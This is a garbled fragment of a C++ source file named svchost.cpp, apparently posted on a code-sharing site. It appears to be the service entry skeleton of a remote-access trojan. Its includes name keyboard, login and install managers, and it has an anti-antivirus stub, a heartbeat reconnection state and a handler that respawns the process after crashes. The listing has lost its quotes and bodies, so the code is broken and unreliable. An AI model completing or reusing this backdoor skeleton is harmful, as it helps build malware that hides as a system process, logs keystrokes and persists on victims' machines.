Description: // svchost.cpp : Defines the entry point for the console application.
//
#pragma comment(linker, /OPT:NOWIN98 )
#include ClientSocket.h
#include common/KernelManager.h
#include common/KeyboardManager.h
#include common/login.h
#include common/install.h
#include common/until.h
#include <stdio.h>
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
}
extern C __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
//void __stdcall AntiYun()
//void __stdcall MoniteGame()
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
void __stdcall ServiceHandler(DWORD dwControl)
#ifdef _CONSOLE
int main(int argc, char**argv)
#else
DWORD WINAPI main(char*lpServiceName)
#endif
SERVICE_STATUS_HANDLE hServiceStatus
DWORD g_dwCurrState
DWORD g_dwServiceType
char svcname[MAX_PATH]
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
// 发生异常,重新创建进程
HANDLE
To Search:
File list (Check if you may need any files):
svchost.cpp